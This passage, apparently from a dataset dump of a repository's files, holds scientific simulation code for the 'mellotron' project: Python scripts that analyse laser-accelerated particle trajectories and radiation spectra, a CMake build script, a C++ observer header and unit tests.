dt*(fft.rfft(globalModelLWEField[:,i,j,k], n=padded_length))\n lw_b_field_fft[:,i,j,k] = dt*(fft.rfft(globalModelLWBField[:,i,j,k], n=padded_length))\n\n # -- To compute dU/domega, we compute a surface integral over the observation sphere.\n # -- It is simpler to do this frequency per frequency.\n # -- We first compute the integrand.\n lw_field_power_spectrum_integrand = np.empty((lw_e_field_fft.shape[0],\n lw_e_field_fft.shape[1],\n lw_e_field_fft.shape[2]))\n\n # -- FOR TESTING PURPOSES ONLY\n lw_theta = np.linspace(0.0, np.pi, lw_e_field_fft.shape[1])\n lw_phi = np.linspace(0.0, 2*np.pi, lw_e_field_fft.shape[2])\n lw_radius= 1e8\n\n for i in range(lw_field_power_spectrum_integrand.shape[0]):\n for j in range(lw_field_power_spectrum_integrand.shape[1]):\n for k in range(lw_field_power_spectrum_integrand.shape[2]):\n # -- For convenience, read the field components individually.\n Ex = lw_e_field_fft[i,j,k,0]\n Ey = lw_e_field_fft[i,j,k,1]\n Ez = lw_e_field_fft[i,j,k,2]\n Bx = np.conj(lw_b_field_fft[i,j,k,0])\n By = np.conj(lw_b_field_fft[i,j,k,1])\n Bz = np.conj(lw_b_field_fft[i,j,k,2])\n\n integrand_x_comp = np.real(Ey*Bz-Ez*By)*np.sin(lw_theta[j])*np.cos(lw_phi[k])\n integrand_y_comp = np.real(Ez*Bx-Ex*Bz)*np.sin(lw_theta[j])*np.sin(lw_phi[k])\n integrand_z_comp = np.real(Ex*By-Ey*Bx)*np.cos(lw_theta[j])\n\n lw_field_power_spectrum_integrand[i,j,k] = np.sin(lw_theta[j])*(integrand_x_comp+integrand_y_comp+integrand_z_comp)\n\n # -- We can now perform the angular integration.\n lw_field_power_spectrum = np.zeros((lw_e_field_fft.shape[0]))\n\n for i in range(lw_field_power_spectrum.shape[0]):\n lw_field_power_spectrum[i] = 4*np.pi*lw_radius**2*integration.simps(integration.simps(lw_field_power_spectrum_integrand[i], x=lw_phi), x=lw_theta)\n\n # -- Conversion to number of photons (requires proper units for frequencies).\n\n # -- To compute dU/dOmega, we perform an integral over the frequencies (also requires proper units).\n\n\n # -- PLOTTING\n plt.figure()\n axPowerSpectrum = plt.subplot2grid((2,2), (0,0))\n plt.semilogy(fft_freqs, lw_field_power_spectrum)\n axPowerSpectrum.set_xlabel(\"Frequency\")\n axPowerSpectrum.set_ylabel(\"Spectral power\")\n\n axTimeDependence = plt.subplot2grid((2,2), (0,1))\n plt.plot(globalModelTimes[:], globalModelLWEField[:,12,6,0])\n axTimeDependence.set_xlabel(\"Time\")\n axTimeDependence.set_ylabel(\"$E_x$ along z axis\")\n\n plt.savefig(directory + \"Lienard-Wiechart-Fields.pdf\", bbox_inches='tight')\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5869237184524536, "alphanum_fraction": 0.6107292771339417, "avg_line_length": 36.98726272583008, "blob_id": "66b22516a2b8ce64fe9ee5b8585463df939b7c1b", "content_id": "c4642d904bdd4d24873a031673d5810f49aacc30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5965, "license_type": "no_license", "max_line_length": 159, "num_lines": 157, "path": "/simulations/AnalysisMELLOTRON.py", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# ------------------------------- Information ------------------------------- #\n# Author: Joey Dumont <[email protected]> #\n# Created Oct 3rd, 2017 #\n# Description: Collection of functions designed to analyze the collective #\n# statistics of accelerated charges. #\n# Dependencies: - NumPy #\n# - SciPy #\n# - H5Py #\n# - Matplotlib #\n# --------------------------------------------------------------------------- #\n\n# --------------------------- Modules Importation --------------------------- #\nimport argparse as ap\nimport numpy as np\nimport matplotlib\n#matplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\nimport matplotlib.colors as colors\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom scipy import constants\nimport scipy.signal as signal\nimport scipy.integrate as integration\nimport argparse\nimport h5py as hp\nimport time\n\n# --------------------------- Function Definition --------------------------- #\n\n\n\n\n# ------------------------------- SCRATCH PAD ------------------------------- #\n\nif __name__ == \"__main__\":\n\n\t# -- Command line arguments\n\tparser = ap.ArgumentParser(description=\"Produce the plots for a given .hdf5 output file.\"\n\t \"If no file provided, the global.hdf5 file will be considered.\")\n\tparser.add_argument(\"--directory\", type=str, default=\"./\",\n\t help=\"Target directory containing a .hdf5 file.\")\n\tparser.add_argument(\"--file\", type=str, default=\"global.hdf5\",\n\t help=\".hdf5 file with 1 particle to generate the trajectory plot with.\")\n\n\t# -- Parse arguments\n\targs = parser.parse_args()\n\n\t# -- Make sure target directory wnds with a trailing slash.\n\tdirectory = args.directory\n\tif (not directory.endswith(\"/\")):\n\t\tdirectory += \"/\"\n\n\t# -- Open the global hdf5 file.\n\thdf5File = args.file\n\t#globalModel = findFileInDir(directory, hdf5File)\n\tglobalModelFile = hp.File(directory + hdf5File, \"r\")\n\n\t# -- Plot the particles in the their initial position, and colour them according\n\t# -- to their final gamma values.\n\tinitialX = globalModelFile[\"/position\"][0,:,0]\n\tinitialY = globalModelFile[\"/position\"][0,:,1]\n\tinitialZ = globalModelFile[\"/position\"][0,:,2]\n\tfinalGamma = globalModelFile[\"/gamma\"][-1,:]\n\n\tfinalGamma = (4.00 * constants.physical_constants['atomic mass unit-electron volt relationship'][0]) * (finalGamma - 1.0)\n\n\tfigInitialConditionsGamma = plt.figure(figsize=(8,4))\n\tfigInitialConditionsGamma.subplots_adjust(hspace=0.3,wspace=0.3)\n\n\taxTranverse = plt.subplot2grid((1,2), (0,0))\n\n\tim = plt.scatter(initialX, initialY, c=finalGamma, norm=colors.LogNorm(),alpha=0.5)\n\taxTranverse.set_aspect('equal')\n\taxTranverse.set_xlabel('Initial $x$ position')\n\taxTranverse.set_ylabel('Initial $y$ position')\n\n\tdivider = make_axes_locatable(axTranverse)\n\tcax = divider.append_axes(\"right\", size=\"5%\", pad=0.1)\n\tcbar = plt.colorbar(im, cax=cax)\n\n\n\taxLongitudinal = plt.subplot2grid((1,2), (0,1))\n\tim = plt.scatter(initialZ, initialY, c=finalGamma,norm=colors.LogNorm(), alpha=0.5)\n\taxLongitudinal.set_aspect('equal')\n\taxLongitudinal.set_xlabel('Initial $z$ position')\n\n\tdivider = make_axes_locatable(axLongitudinal)\n\tcax = divider.append_axes(\"right\", size=\"5%\", pad=0.1)\n\tcbar = plt.colorbar(im, cax=cax)\n\n\t# -- Find the particle with the largest final gamma and plot its electric field.\n\ttimes = globalModelFile[\"/times\"][:]\n\tmaxGammaIdx = np.argmax(globalModelFile[\"/gamma\"][-1,:])\n\tmaxChi = globalModelFile[\"/chi\"][:,maxGammaIdx]\n\tmaxGammaTime= globalModelFile[\"/gamma\"][:,maxGammaIdx]\n\tefield_Ex = globalModelFile[\"electric_field\"][:,maxGammaIdx,0]\n\tefield_Ey = globalModelFile[\"electric_field\"][:,maxGammaIdx,1]\n\tefield_Ez = globalModelFile[\"electric_field\"][:,maxGammaIdx,2]\n\tp_x = globalModelFile[\"momentum\"][:,maxGammaIdx,0]\n\tp_y = globalModelFile[\"momentum\"][:,maxGammaIdx,1]\n\tp_z = globalModelFile[\"momentum\"][:,maxGammaIdx,2]\n\n\t# -- Compute force on particle.\n\tf_x = np.zeros_like(p_x)\n\tf_y = np.zeros_like(p_y)\n\tf_z = np.zeros_like(p_z)\n\n\tfor i in range(1,p_x.size-1):\n\t\tf_x[i] = (p_x[i+1]-p_x[i-1])/(2*(times[1]-times[0]))\n\t\tf_y[i] = (p_y[i+1]-p_y[i-1])/(2*(times[1]-times[0]))\n\t\tf_z[i] = (p_z[i+1]-p_z[i-1])/(2*(times[1]-times[0]))\n\n\tmag_force = 2*np.pi * constants.c / 800e-9 * constants.m_e * constants.c * np.sqrt(f_x**2+f_y**2+f_z**2)\n\n\tplt.figure()\n\tplt.plot(times*800e-9 / (2*np.pi * constants.c),mag_force/(7344*constants.m_e))\n\tplt.gca().set_xlabel(\"Time\")\n\tplt.gca().set_ylabel(\"Acceleration (m/s^2)\")\n\tplt.savefig(\"ForceVSTime.pdf\", bbox_inches='tight', dpi=500)\n\n\n\tprint(np.amax(efield_Ex))\n\n\t#print(efield_Ez)\n\t#print(efield_Ey)\n\t#print(efield_Ex)\n\t#print(maxChi)\n\n\n\tfigElectricFieldMaxGamma = plt.figure(figsize=(4,3))\n\tax1 = figElectricFieldMaxGamma.add_subplot(111)\n\tplt.plot(times, efield_Ex)\n\tplt.plot(times, efield_Ey)\n\tplt.plot(times, efield_Ez)\n\t#plt.plot(times, efield_Ex**2+efield_Ey**2+efield_Ez**2, 'k--')\n\n\tax2 = ax1.twinx()\n\tplt.plot(times, (4.00 * constants.physical_constants['atomic mass unit-electron volt relationship'][0])*(maxGammaTime-1), 'k--')\n\t#plt.plot(times,maxChi)\n\n\tax2.set_xlim((-150,150))\n\n\tfigHistogramFinalGamma = plt.figure(figsize=(4,3))\n\tax1 = figHistogramFinalGamma.add_subplot(111)\n\n\tfinalGammaSorted = np.sort(finalGamma)\n\n\tprint(finalGammaSorted)\n\n\tclipIndex = -1\n\tfinalGammaHistogram = finalGammaSorted[0:clipIndex]\n\n\tplt.hist(finalGammaHistogram,\n\t\t\t\t\t bins = 10 ** np.linspace(np.log10(finalGammaHistogram.min()), np.log10(finalGammaHistogram.max()), int(np.ceil(1.5*np.sqrt(finalGammaHistogram.size))) ))\n\tax1.set_xscale('log')\n\n\tplt.show()\n\n" }, { "alpha_fraction": 0.5119501352310181, "alphanum_fraction": 0.5195704698562622, "avg_line_length": 33.369049072265625, "blob_id": "2a4de3de7d631f2bf9c863607f149b6766bb202d", "content_id": "be30cd2af0aae01214770b8362ea1b3ed9d82dc8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 2887, "license_type": "no_license", "max_line_length": 138, "num_lines": 84, "path": "/build_cc.sh", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# --------------------------------------------------------------------------- #\n# Author: Joey Dumont <[email protected]> #\n# Date: 2016-10-18 #\n# Description: Calls CMake from the build directory and compiles the library.#\n# License: CC0 - Public Domain #\n# #\n# This script simply calls CMake from the build directory and compiles the #\n# library. #\n# #\n# Usage: #\n# bash build.sh (release OR debug) #\n# #\n# --------------------------------------------------------------------------- #\n\nfunction ParseVersion() {\n # $1 is the version number to parse (major, minor, or release)\n # $2 is the path of the CMakeLists.txt to parse.\n # -- The regex to use is this: /(?<=VERSION_MAJOR\\s)\\d+(?=[\\s)])/.\n # -- Now try to fucking implement this in bash.\n # -- I DARE YOU, I DOUBLE DARE YOU!\n VERSION=$(cat $2 | grep -oP \"(?<=$1\\s)\\d+(?=[\\s)])\")\n\n echo $VERSION\n return 0;\n}\n\nVERSION_MAJOR=$(ParseVersion mellotron_VERSION_MAJOR CMakeLists.txt)\nVERSION_MINOR=$(ParseVersion mellotron_VERSION_MINOR CMakeLists.txt)\nVERSION_RELEASE=$(ParseVersion mellotron_VERSION_RELEASE CMakeLists.txt)\n\necho \"We are at MELLOTRON version ${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_RELEASE}\"\n\n# Check the number of arguments.\nif [ $# -gt 2 ]; then\n printf \"Usage is\\n\"\n printf \"\\tbash build.sh (release OR debug) [cluster]\\n\"\n exit 1\nfi\n\n# Change to file directory.\ncd \"$(dirname \"$(readlink -f \"$0\")\")\";\n\n# Check if build/ dir exists.\nif [ ! -d build ]; then\n mkdir build\nelse\n rm -rf build\n mkdir build\nfi\n\n# Change to build dir and compile the library.\ncd build\nCMAKE_FLAGS=\nif [ $# -gt 0 ]; then\n if [ $1 == release ]; then\n CMAKE_FLAGS=\"${CMAKE_FLAGS} -DCMAKE_BUILD_TYPE=Release\"\n elif [ $1 == debug ]; then\n CMAKE_FLAGS=\"${CMAKE_FLAGS} -DCMAKE_BUILD_TYPE=Debug\"\n fi\nfi\n\nPROJECT_DIR=~/projects/rrg-maclean-ab/maclean_group/\nmodule use ${PROJECT_DIR}/modules\nmodule load openmpi\nmodule load hdf5-mpi\nmodule load meshpi\nmodule load boost-mpi\nmodule load muparser\nmodule load fftw-mpi\nmodule load gtest\nmodule load armadillo\nmodule load strattocalculator\nmodule load gsl\n\nexport CMAKE_LIBRARY_PATH=$LIBRARY_PATH\nexport CMAKE_INCLUDE_PATH=$INCLUDE_PATH\n\nCMAKE_FLAGS=\"${CMAKE_FLAGS} -DCMAKE_INSTALL_PREFIX=${PROJECT_DIR}/software/mellotron/${VERSION_MAJOR}.${VERSION_MINOR}.${VERSION_RELEASE}\"\n\ncmake ${CMAKE_FLAGS} ..\n\nmake\n\nexit 0\n" }, { "alpha_fraction": 0.6337898373603821, "alphanum_fraction": 0.6416371464729309, "avg_line_length": 40.660255432128906, "blob_id": "8152a2de84aaf29bcc47e4611fada40a03b05a42", "content_id": "e733151d38f7ae177ce97a3c3c20df1711d924c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6503, "license_type": "no_license", "max_line_length": 160, "num_lines": 156, "path": "/include/mellotron_bits/driver/ParticleObserver_bones.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#ifndef PARTICLE_OBSERVER_BONES_HPP\n#define PARTICLE_OBSERVER_BONES_HPP\n\n#include <armadillo>\n#include <boost/functional/hash.hpp>\n#include <boost/multi_array.hpp>\n#include <cmath>\n#include <hdf5.h>\n#include <gsl/gsl_errno.h>\n#include <gsl/gsl_spline.h>\n\nnamespace mellotron {\n\n/*!\n * \\class ParticleObserver\n * \\author Joey Dumont <[email protected]>\n * \\since 2016-09-30\n * \\brief Observes and outputs the trajectory of a particle in an electromagnetic field.\n *\n * Defines the output of Mellotron. This class observes a single particle as it moves through\n * space. Contains a reference to a Particle object as to query the value of the electric and\n * magnetic field.\n */\ntemplate <class FieldModel>\nclass ParticleObserver\n{\npublic:\n\n /// Sets the particle to follow.\n /// Also sets an initial size for the data structures that hold information\n /// about the particle.\n ParticleObserver(Particle<FieldModel>& my_particle, const uint my_init_size = 100);\n\n /// Overloading of the () operator for use with Boost.odeint.\n void operator()(const arma::colvec::fixed<8>& x, double t);\n\n /// Outputs in a HDF5 file.\n void OutputData();\n\n /// Writes all the data in a given HDF5 group. Useful to append other write functions in derived classes.\n virtual void WriteAllData(hid_t group_id);\n\n /// Writes the temporal data points.\n void WriteTimes(hid_t group_id);\n\n /// Writes gamma.\n void WriteGamma(hid_t group_id);\n\n /// Writes chi.\n void WriteChi(hid_t group_id);\n\n /// Writes the state vector (position and momentum).\n void WriteStateVector(hid_t group_id);\n\n /// Write the electric and magnetic field.\n void WriteElectromagneticField(hid_t group_id);\n\n Particle<FieldModel> & particle; ///< Particle object that moves through spacetime.\n\n const int init_size; ///< Initial size of the data structures. Removes some unnecessary arma::resize() calls.\n\n arma::mat position; ///< Record of the particle's position.\n arma::mat momentum; ///< Record of the particle's momentum.\n std::vector<double> gamma; ///< Record of the particle's gamma factor.\n std::vector<double> chi; ///< Record of the particle's Lorentz invariant.\n std::vector<double> times; ///< Record of the time values.\n\n arma::mat electric_field; ///< Record of the electric field along the particle's trajectory.\n arma::mat magnetic_field; ///< Record of the magnetic field along the particle's trajectory.\n\n uint step_counter; ///< Counts the number of steps that were taken.\n\nprotected:\n\n /// Utility function that sets the right properties for HDF5 output.\n void SetHDF5Properties(hid_t & dataspace_id, hid_t & plist_id, const int dim, const hsize_t * size, const hsize_t * chunk_size, const uint compression_level);\n\n};\n\n/*!\n * \\class ParticleObserverLienardWiechert\n * \\author Joey Dumont <[email protected]>\n * \\since 2016-09-30\n * \\brief Observes and outputs the trajectory of a particle in an electromagnetic field.\n *\n * Adds the fields created by the moving charges computed via the Liรฉnard-Wiechert potentials\n * to ParticleObserver.\n */\ntemplate <class FieldModel>\nclass ParticleObserverLienardWiechert : public ParticleObserver<FieldModel>\n{\npublic:\n\n /// Sets the particle to follow.\n /// We must also declare the radius of the sphere on which\n /// the Liรฉnard-Wiechert field are computed, and the number of points\n /// in theta and phi.\n ParticleObserverLienardWiechert( Particle<FieldModel> & my_particle,\n const double my_radius = 1e4,\n const unsigned int my_number_points_theta = 50,\n const unsigned int my_number_points_phi = 50,\n const unsigned int my_init_size = 100);\n\n /// We redefine the () operator to append the calculation of the emitted radiation.\n void operator()(const arma::colvec::fixed<8>& x, double t);\n\n /// We interpolate the LW fields such that every spatial point is at the same time.\n void InterpolateLWFieldsOnRetardedTime();\n\n /// Redeclaration of WriteAllData(hid_t group_id).\n void WriteAllData(hid_t group_id);\n\n /// Write the Liรฉnard-Wiechert fields to the HDF5 file.\n void WriteLienardWiechertFields(hid_t group_id);\n\n\n const double radius; ///< Radius of the detection sphere.\n const unsigned int number_points_theta; ///< Number of discrete points in theta.\n const unsigned int number_points_phi; ///< Number of discrete points in phi.\n\n arma::vec theta; ///< Theta values on the sphere [0,\\pi).\n arma::vec phi; ///< Phi values on the sphere [0,2\\pi).\n\n boost::multi_array<double, 4> electric_field_lw; ///< Value of the Lienard-Wiechert electric field on the sphere.\n boost::multi_array<double, 4> magnetic_field_lw; ///< Value of the Liรฉnard-Wiechert magnetic field on the sphere.\n boost::multi_array<double, 3> times_lw; ///< Values of the observation time at which the fields are computed.\n};\n\n/*!\n * \\class ParticleObserverIonized\n * \\author Joey Dumont <[email protected]>\n * \\since 2017-06-21\n * \\brief Observes and outputs the trajectory of an \"ionized\" particle in an electromagnetic field.\n *\n * This class observes a single particle as it moves through\n * space. Contains a reference to a ParticleIonized object as to query the value of the electric and\n * magnetic field. It only outputs the data if the particle has been \"ionized\" during the simulation,\n * i.e. that the field surpassed the threshold at some point during the simulation.\n */\ntemplate <class FieldModel>\nclass ParticleObserverIonized : public ParticleObserver<FieldModel>\n{\npublic:\n /// Sets the particle to follow.\n ParticleObserverIonized(ParticleIonized<FieldModel>& my_particle);\n\n /// Outputs in a HDF5 file.\n void OutputData();\n\n ParticleIonized<FieldModel> & particle_ion; ///< Particle object that moves through spacetime.\n\n};\n\n} // namespace mellotron\n\n#endif // PARTICLE_OBSERVER_BONES_H\n" }, { "alpha_fraction": 0.5514623522758484, "alphanum_fraction": 0.5704398155212402, "avg_line_length": 36.79747009277344, "blob_id": "ce97bbbfe816260145b60baead652a953caf7d89", "content_id": "9f0fcfdeea9b375eb8c0244d288423aaac1cf9bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 8958, "license_type": "no_license", "max_line_length": 127, "num_lines": 237, "path": "/tests/UnitTest-StrattoCalculatorWrapper.cpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "/*! ------------------------------------------------------------------------- *\n * \\author Joey Dumont <[email protected]> *\n * \\since 2016-10-19 *\n * *\n * Unit test of simulations/StrattoCalculatorWrapper in MELLOTRON. We simply *\n * evaluate and plot the field in the focal plane and compare to results *\n * obtained directly with the StrattoCalculator. *\n * --------------------------------------------------------------------------*/\n\n#include <gtest/gtest.h>\n\n#include \"../simulations/StrattoCalculatorWrapper.hpp\"\n#include <armadillo>\n#include <mellotron>\n#include <meshpi>\n#include <strattocalculator>\n\nusing namespace mellotron;\nusing namespace MeshPI;\nusing namespace StrattoCalculator;\n\nclass StrattoCalculatorWrapperTest : public testing::Test\n{\npublic:\n StrattoCalculatorWrapperTest()\n : lambda(800.0e-9)\n , omega_0(2.0*constants::math::pi*constants::physics::c/lambda)\n , electron_units(omega_0)\n , beam_width(0.075/electron_units.UNIT_LENGTH)\n , focal_length(0.04375/electron_units.UNIT_LENGTH)\n , xmax(2.5*lambda/electron_units.UNIT_LENGTH)\n {\n\n // Create the mesh of the parabola.\n std::array<double,2> min_parabola = {0.0,0.0};\n std::array<double,2> max_parabola = {0.0875/electron_units.UNIT_LENGTH,6.28318530718};\n std::array<unsigned int, 2> intervals_per_dim_parabola = {25,25};\n coord_sys = new CoordinateSystemModel<2,Cylindrical>(MeshPI::x12,MeshPI::space,MeshPI::qed_units);\n domain_parabola = new DomainSerial<2>(\n min_parabola,\n max_parabola,\n intervals_per_dim_parabola,\n coord_sys\n );\n\n std::array<unsigned int, 2> num_points_parabola = {5,5};\n std::array<bool,2> boundary = {true,false};\n mesh_parabola = new SurfaceMesh<2>(\n domain_parabola,\n num_points_parabola,\n linear_mesh,\n boundary\n );\n\n surface = new EmittingSurfaceParabola<2>(\n mesh_parabola,\n focal_length\n );\n surface->ComputeSurface();\n surface->ComputeNormal();\n\n // Change spectrum parameters to appropriate units.\n double energy = 13.0/electron_units.UNIT_ENERGY;\n double lambda_c = lambda/electron_units.UNIT_LENGTH;\n double lambda_min = 720.0e-9/electron_units.UNIT_LENGTH;\n double lambda_max = 880.0e-9/electron_units.UNIT_LENGTH;\n double delta_lambda = 60.0e-9/electron_units.UNIT_LENGTH;\n\n // Create the spectrum.\n int number_components = 25;\n std::vector<double> beam_frequencies, beam_freq_widths, beam_freq_ratios;\n beam_frequencies.push_back(lambda_c);\n beam_freq_widths.push_back(delta_lambda);\n beam_freq_ratios.push_back(1.0);\n std::vector<double> phase(number_components,0.0);\n spectrum_incident = new SpectrumGaussianWavelength(\n number_components,\n lambda_min,\n lambda_max,\n phase,\n beam_frequencies,\n beam_freq_widths,\n beam_freq_ratios,\n energy,\n 8\n );\n for (int i=0; i<number_components;i++)\n {\n spectrum_incident->SetPhase(i, -2.0*spectrum_incident->GetOmega(i)*focal_length);\n }\n\n // Create the beam model.\n beam = new TEM00Mode(spectrum_incident,beam_width);\n\n // Evaluate the beam on the mirror.\n incident_field = new SurfaceEMFieldManyOnTheFly<SurfaceEMFieldGeneral,2,1>(\n mesh_parabola,\n spectrum_incident,\n surface,\n beam\n );\n\n // Declare the integrator and convert it to the form the MELLOTRON expects.\n integrator = new StrattonChuIntegrator::MeshlessAxialSurfGenField(surface,incident_field);\n meshless_time_field = new TemporalEMFieldMeshless<StrattonChuIntegrator::MeshlessAxialSurfGenField>(integrator);\n field = new StrattoCalculatorWrapper<StrattonChuIntegrator::MeshlessAxialSurfGenField>(*meshless_time_field);\n }\n\n ~StrattoCalculatorWrapperTest()\n {\n delete coord_sys;\n delete domain_parabola;\n delete mesh_parabola;\n delete surface;\n delete spectrum_incident;\n delete beam;\n delete incident_field;\n delete integrator;\n delete meshless_time_field;\n delete field;\n }\n\nprotected:\n\n virtual void SetUp()\n {}\n\n double lambda;\n const double omega_0;\n MellotronUnits electron_units;\n const double beam_width,focal_length;\n const double xmax;\n double lambda_c;\n double energy;\n\n CoordinateSystemModel<2,Cylindrical> * coord_sys;\n DomainSerial<2> * domain_parabola;\n SurfaceMesh<2> * mesh_parabola;\n EmittingSurfaceAxialSym<2> * surface;\n SpectrumGaussianWavelength * spectrum_incident;\n TEM00Mode * beam;\n SurfaceEMFieldManyOnTheFly<SurfaceEMFieldGeneral,2,1> * incident_field;\n StrattonChuIntegrator::MeshlessAxialSurfGenField * integrator;\n TemporalEMFieldMeshless<StrattonChuIntegrator::MeshlessAxialSurfGenField> * meshless_time_field;\n StrattoCalculatorWrapper<StrattonChuIntegrator::MeshlessAxialSurfGenField> * field;\n};\n\nTEST_F(StrattoCalculatorWrapperTest, Linear)\n{\n // Define the mesh of the plot.\n uint size_plot = 50;\n auto x_field = arma::linspace<arma::colvec>(-xmax,xmax, size_plot);\n auto y_field = arma::linspace<arma::colvec>(-xmax,xmax, 2*size_plot);\n arma::mat Ex(size_plot,2*size_plot);\n auto Ey =Ex;\n auto Ez =Ex;\n auto Bx =Ex;\n auto By =Ex;\n auto Bz =Ex;\n\n // Compute the field values.\n for (uint i=0; i<size_plot; i++)\n {\n for (uint j=0; j<2*size_plot; j++)\n {\n auto field_vector = field->ComputeFieldComponents(0.0,x_field[i],y_field[j],0.0);\n Ex(i,j) = field_vector[0];\n Ey(i,j) = field_vector[1];\n Ez(i,j) = field_vector[2];\n Bx(i,j) = field_vector[3];\n By(i,j) = field_vector[4];\n Bz(i,j) = field_vector[5];\n }\n }\n\n // Compute Ex at z=0 in as a function of time.\n uint size_time = 1000;\n double tmax = -200.0;\n auto t_field = arma::linspace(-tmax,tmax,size_time);\n arma::mat Ex_t(size_time,4);\n\n for (uint i=0; i<size_time; i++)\n {\n Ex_t(i,0) = t_field(i);\n auto field_time = field->ComputeFieldComponents(t_field(i),0.0,0.0,0.0);\n Ex_t(i,arma::span(1,3)) = arma::rowvec({field_time[0],field_time[1],field_time[2]});\n }\n\n // Output the data.\n x_field *= electron_units.UNIT_LENGTH;\n y_field *= electron_units.UNIT_LENGTH;\n\n x_field.save(\"x_field_stratto.txt\", arma::raw_ascii);\n y_field.save(\"y_field_stratto.txt\", arma::raw_ascii);\n Ex.save(\"StrattoField_Ex.txt\", arma::raw_ascii);\n Ey.save(\"StrattoField_Ey.txt\", arma::raw_ascii);\n Ez.save(\"StrattoField_Ez.txt\", arma::raw_ascii);\n Bx.save(\"StrattoField_Bx.txt\", arma::raw_ascii);\n By.save(\"StrattoField_By.txt\", arma::raw_ascii);\n Bz.save(\"StrattoField_Bz.txt\", arma::raw_ascii);\n\n Ex_t.save(\"StrattoField_Ex_time.txt\", arma::raw_ascii);\n\n // Compare to test data.\n arma::mat Ex_ref; Ex_ref.load(\"test_data/StrattoField_Ex.txt\", arma::raw_ascii);\n arma::mat Ey_ref; Ey_ref.load(\"test_data/StrattoField_Ey.txt\", arma::raw_ascii);\n arma::mat Ez_ref; Ez_ref.load(\"test_data/StrattoField_Ez.txt\", arma::raw_ascii);\n arma::mat Bx_ref; Bx_ref.load(\"test_data/StrattoField_Bx.txt\", arma::raw_ascii);\n arma::mat By_ref; By_ref.load(\"test_data/StrattoField_By.txt\", arma::raw_ascii);\n arma::mat Bz_ref; Bz_ref.load(\"test_data/StrattoField_Bz.txt\", arma::raw_ascii);\n\n for (uint i=0; i<size_plot; i++)\n {\n for (uint j=0; j<2*size_plot; j++)\n {\n EXPECT_NEAR(Ex(i,j), Ex_ref(i,j), 1.0e-3);\n EXPECT_NEAR(Ey(i,j), Ey_ref(i,j), 1.0e-3);\n EXPECT_NEAR(Ez(i,j), Ez_ref(i,j), 1.0e-3);\n EXPECT_NEAR(Bx(i,j), Bx_ref(i,j), 1.0e-3);\n EXPECT_NEAR(By(i,j), By_ref(i,j), 1.0e-3);\n EXPECT_NEAR(Bz(i,j), Bz_ref(i,j), 1.0e-3);\n }\n }\n}\n\nGTEST_API_ int main(int argc, char **argv)\n{\n MPI_Init(&argc,&argv);\n H5open();\n printf(\"Running main() UnitTest-StrattoCalculatorWrapper.cpp.\\n\");\n testing::InitGoogleTest(&argc, argv);\n auto result = RUN_ALL_TESTS();\n H5close();\n MPI_Finalize();\n\n return result;\n}\n" }, { "alpha_fraction": 0.5009283423423767, "alphanum_fraction": 0.5172669887542725, "avg_line_length": 38.60293960571289, "blob_id": "aecb9446518df9315ad22f025231990a01d13f3f", "content_id": "9a78f5fcf9eeed4304488c86520c46c5d7a0dbbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2693, "license_type": "no_license", "max_line_length": 123, "num_lines": 68, "path": "/tests/UnitTest-FFT.py", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# ------------------------------- Information ------------------------------- #\n# Author: Joey Dumont <[email protected]> #\n# Created: Jul. 24th, 2017 #\n# Description: We test different FFT implementations. #\n# Dependencies: - NumPy #\n# - Matplotlib #\n# --------------------------------------------------------------------------- #\n\n# --------------------------- Modules Importation --------------------------- #\nimport matplotlib as mpl\n#mpl.use('pgf')\nfrom matplotlib import cm\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\n\nimport numpy as np\nimport scipy.fftpack as fft_sp\n\n# ------------------------------ Configuration ------------------------------ #\n#-- We reset the LaTeX parameters to enable XeLaTeX.\n# pgf_with_pdflatex = {\n# \"font.family\": \"serif\", # use serif/main font for text elements\n# \"text.usetex\": True, # use inline math for ticks\n# \"pgf.rcfonts\": False, # don't setup fonts from rc parameters\n# \"pgf.preamble\": [\n# r\"\\usepackage{siunitx}\",\n# r\"\\usepackage{mathspec}\",\n# r\"\\usepackage[charter]{mathdesign}\",\n# r\"\\usepackage{fontspec}\",\n# r\"\\setmathfont{Fira Sans}\",\n# #r\"\\setmainfont{Oswald}\",\n# ]\n# }\n# mpl.rcParams.update(pgf_with_pdflatex)\n# mpl.rcParams['font.size'] = 10\n\n# ------------------------------ MAIN FUNCTION ------------------------------ #\n\n# Samples\nsize = 500\nx = np.linspace(-10,10,size)\ndt = x[1]-x[0]\ny = np.exp(-x**2)\n\n# Compute FFT of samples with NumPy.\nx_fft_numpy = 2*np.pi*np.fft.rfftfreq(size,d=dt)\ny_fft_numpy = dt*np.fft.rfft(y)/np.sqrt(2*np.pi)\ny_fft_numpy_ana = np.exp(-(x_fft_numpy)**2/4)/np.sqrt(2)\n\n# Compute FFT of samples with SciPy.\nx_fft_scipy = 2*np.pi*fft_sp.rfftfreq(size, d=dt)\ny_fft_scipy = dt*fft_sp.rfft(y)/np.sqrt(2*np.pi)\n\nx_fft_scipy_spliced = np.concatenate([[x_fft_scipy[0]], x_fft_scipy[1:-1:2]])\ny_fft_scipy_spliced = np.concatenate([[y_fft_scipy[0]], y_fft_scipy[1:-1:2]])+1j*np.concatenate([[0], y_fft_scipy[2:-1:2]])\ny_fft_scipy_ana = np.exp(-x_fft_scipy_spliced**2/4)/np.sqrt(2)\n\n# Compare plots.\nplt.figure()\nplt.plot(x_fft_numpy, np.abs(y_fft_numpy), label=\"NumPy\")\nplt.plot(x_fft_numpy, y_fft_numpy_ana, label=\"NumPy - analytical\")\nplt.legend(loc=0)\n\nplt.figure()\nplt.plot(x_fft_scipy_spliced, np.abs(y_fft_scipy_spliced), 